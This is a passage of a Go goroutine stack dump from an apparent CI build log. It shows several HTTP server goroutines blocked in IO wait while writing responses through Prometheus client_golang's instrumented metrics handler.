net/http.(*conn).serve(0xc00742c780, 0x88ea00, 0xc00e7c0780)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 21980 [IO wait, 3 minutes]:
internal/poll.runtime_pollWait(0x7f506e4ad360, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0000c2398, 0x77, 0x5cd00, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0000c2380, 0xc01e456f6f, 0x7160c, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0000c2380, 0xc01e456f6f, 0x7160c, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000e070, 0xc01e456f6f, 0x7160c, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc000065e00, 0xc01e456f6f, 0x7160c, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc005740d80, 0xc01e456f6f, 0x7160c, 0x96fa1, 0x1, 0xc007124480, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc0015ef618, 0xc01e456000, 0x7257b, 0x97f10, 0xc01c5dd898, 0x642e8e, 0xc000065e88)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc005740e80, 0xc01e456000, 0x7257b, 0x97f10, 0x0, 0x0, 0xc000086630)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc0015ef5e0, 0x7257b, 0xc01e456000, 0x7257b, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc01c5dda40, 0x4ef66a9)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc0015ef5e0, 0xc01e456000, 0x7257b, 0x97f10, 0x77d4c0, 0xc0193e5801, 0xc002a766e0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc003a33040, 0xc01e456000, 0x7257b, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000e078, 0xc004eb8700)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000e078, 0xc004eb8700)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015ef5e0, 0xc004eb8700)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015ef5e0, 0xc004eb8700)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015ef5e0, 0xc004eb8700)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015ef5e0, 0xc004eb8700)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc000065e00, 0x88ea00, 0xc005740d40)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 21397 [IO wait, 10 minutes]:
internal/poll.runtime_pollWait(0x7f506e4adb80, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0000c3698, 0x77, 0x5a800, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0000c3680, 0xc02434cf6f, 0x6f053, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0000c3680, 0xc02434cf6f, 0x6f053, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000f548, 0xc02434cf6f, 0x6f053, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc0000657c0, 0xc02434cf6f, 0x6f053, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc006fab480, 0xc02434cf6f, 0x6f053, 0x96fa1, 0x1, 0xc007124600, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc0015ef8b8, 0xc02434c000, 0x6ffc2, 0x97f10, 0xc00928b898, 0x642e8e, 0xc000065848)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc006fab580, 0xc02434c000, 0x6ffc2, 0x97f10, 0x0, 0x0, 0x7f506f222758)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc0015ef880, 0x6ffc2, 0xc02434c000, 0x6ffc2, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc00928ba40, 0xd72f7097)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc0015ef880, 0xc02434c000, 0x6ffc2, 0x97f10, 0x77d4c0, 0xc023920901, 0xc003a302c0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc0080a5f40, 0xc02434c000, 0x6ffc2, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000f550, 0xc004eb9900)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000f550, 0xc004eb9900)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015ef880, 0xc004eb9900)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015ef880, 0xc004eb9900)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015ef880, 0xc004eb9900)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015ef880, 0xc004eb9900)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc0000657c0, 0x88ea00, 0xc006fab440)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 21828 [IO wait, 5 minutes]:
internal/poll.runtime_pollWait(0x7f506e4ad9e0, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0193c2d98, 0x77, 0x5c700, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0193c2d80, 0xc0244c8f6f, 0x70fe1, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0193c2d80, 0xc0244c8f6f, 0x70fe1, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000e450, 0xc0244c8f6f, 0x70fe1, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc0000659a0, 0xc0244c8f6f, 0x70fe1, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc00dc68480, 0xc0244c8f6f, 0x70fe1, 0x96fa1, 0x1, 0xc007124780, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc02121e1f8, 0xc0244c8000, 0x71f50, 0x97f10, 0xc003efd898, 0x642e8e, 0xc000065a28)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc00dc68540, 0xc0244c8000, 0x71f50, 0x97f10, 0x0, 0x0, 0xc000086fd0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc02121e1c0, 0x71f50, 0xc0244c8000, 0x71f50, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc003efda40, 0xfbb65ce9)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc02121e1c0, 0xc0244c8000, 0x71f50, 0x97f10, 0x77d4c0, 0xc01f00a201, 0xc001288f20)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc0073fe0f0, 0xc0244c8000, 0x71f50, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000e458, 0xc007012900)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000e458, 0xc007012900)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc02121e1c0, 0xc007012900)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc02121e1c0, 0xc007012900)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc02121e1c0, 0xc007012900)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc02121e1c0, 0xc007012900)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc0000659a0, 0x88ea00, 0xc0026ecc40)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 21846 [IO wait, 5 minutes]:
internal/poll.runtime_pollWait(0x7f506e4ad6a0, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0193c3618, 0x77, 0x5c700, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0193c3600, 0xc01adb4f6f, 0x70f94, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0193c3600, 0xc01adb4f6f, 0x70f94, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000e8b0, 0xc01adb4f6f, 0x70f94, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc000065b80, 0xc01adb4f6f, 0x70f94, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc00730d0c0, 0xc01adb4f6f, 0x70f94, 0x96fa1, 0x1, 0xc007124900, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc02121e3b8, 0xc01adb4000, 0x71f03, 0x97f10, 0xc003ef9898, 0x642e8e, 0xc000065c08)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc00730d180, 0xc01adb4000, 0x71f03, 0x97f10, 0x0, 0x0, 0x7f506f24b700)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc02121e380, 0x71f03, 0xc01adb4000, 0x71f03, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc003ef9a40, 0xe17f3e69)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc02121e380, 0xc01adb4000, 0x71f03, 0x97f10, 0x77d4c0, 0xc01c729d01, 0xc0012898c0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc0073ff9f0, 0xc01adb4000, 0x71f03, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000e8b8, 0xc007013a00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000e8b8, 0xc007013a00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc02121e380, 0xc007013a00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc02121e380, 0xc007013a00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc02121e380, 0xc007013a00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc02121e380, 0xc007013a00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc000065b80, 0x88ea00, 0xc00730d080)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 22015 [IO wait, 2 minutes]:
internal/poll.runtime_pollWait(0x7f506e4ad1c0, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0193c2698, 0x77, 0x5cd00, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0193c2680, 0xc01b598f6f, 0x7160a, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0193c2680, 0xc01b598f6f, 0x7160a, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000e9b8, 0xc01b598f6f, 0x7160a, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc000065f40, 0xc01b598f6f, 0x7160a, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc00730c8c0, 0xc01b598f6f, 0x7160a, 0x96fa1, 0x1, 0xc007124a80, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc0015efdf8, 0xc01b598000, 0x72579, 0x97f10, 0xc0065e3898, 0x642e8e, 0xc000065fc8)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc00730d280, 0xc01b598000, 0x72579, 0x97f10, 0x0, 0x0, 0x7f506ea607a0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc0015efdc0, 0x72579, 0xc01b598000, 0x72579, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc0065e3a40, 0x70f09912)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc0015efdc0, 0xc01b598000, 0x72579, 0x97f10, 0x77d4c0, 0xc0222b8801, 0xc002a77340)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc020d38780, 0xc01b598000, 0x72579, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000e9c0, 0xc004942d00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000e9c0, 0xc004942d00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015efdc0, 0xc004942d00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015efdc0, 0xc004942d00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015efdc0, 0xc004942d00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015efdc0, 0xc004942d00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc000065f40, 0x88ea00, 0xc00730c880)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 21963 [IO wait, 3 minutes]:
internal/poll.runtime_pollWait(0x7f506e4ad430, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0000c3018, 0x77, 0x5cc00, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0000c3000, 0xc01c426f6f, 0x71506, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0000c3000, 0xc01c426f6f, 0x71506, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000efd8, 0xc01c426f6f, 0x71506, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc000065d60, 0xc01c426f6f, 0x71506, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc004c17540, 0xc01c426f6f, 0x71506, 0x96fa1, 0x1, 0xc007124c00, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc0015efc38, 0xc01c426000, 0x72475, 0x97f10, 0xc01c5df898, 0x642e8e, 0xc000065de8)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc004c17600, 0xc01c426000, 0x72475, 0x97f10, 0x0, 0x0, 0xc000087ad0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc0015efc00, 0x72475, 0xc01c426000, 0x72475, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc01c5dfa40, 0x2bc166e4)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc0015efc00, 0xc01c426000, 0x72475, 0x97f10, 0x77d4c0, 0xc0224dae01, 0xc001289a20)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc00947cb40, 0xc01c426000, 0x72475, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000efe8, 0xc007013100)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000efe8, 0xc007013100)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015efc00, 0xc007013100)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015efc00, 0xc007013100)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015efc00, 0xc007013100)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015efc00, 0xc007013100)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc000065d60, 0x88ea00, 0xc004c17500)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 22136 [IO wait, 1 minutes]:
internal/poll.runtime_pollWait(0x7f506e179140, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0171de598, 0x77, 0x5d300, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0171de580, 0xc025a4ef6f, 0x71b1b, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0171de580, 0xc025a4ef6f, 0x71b1b, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000ef40, 0xc025a4ef6f, 0x71b1b, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc00742c280, 0xc025a4ef6f, 0x71b1b, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc01a0dd740, 0xc025a4ef6f, 0x71b1b, 0x96fa1, 0x1, 0xc007124d80, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc02121e9d8, 0xc025a4e000, 0x72a8a, 0x97f10, 0xc024877898, 0x642e8e, 0xc00742c308)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc006d44040, 0xc025a4e000, 0x72a8a, 0x97f10, 0x0, 0x0, 0x7f506ed68170)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc02121e9a0, 0x72a8a, 0xc025a4e000, 0x72a8a, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc024877a40, 0x6452d1bf)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc02121e9a0, 0xc025a4e000, 0x72a8a, 0x97f10, 0x77d4c0, 0xc00f97f901, 0xc004b5ec60)
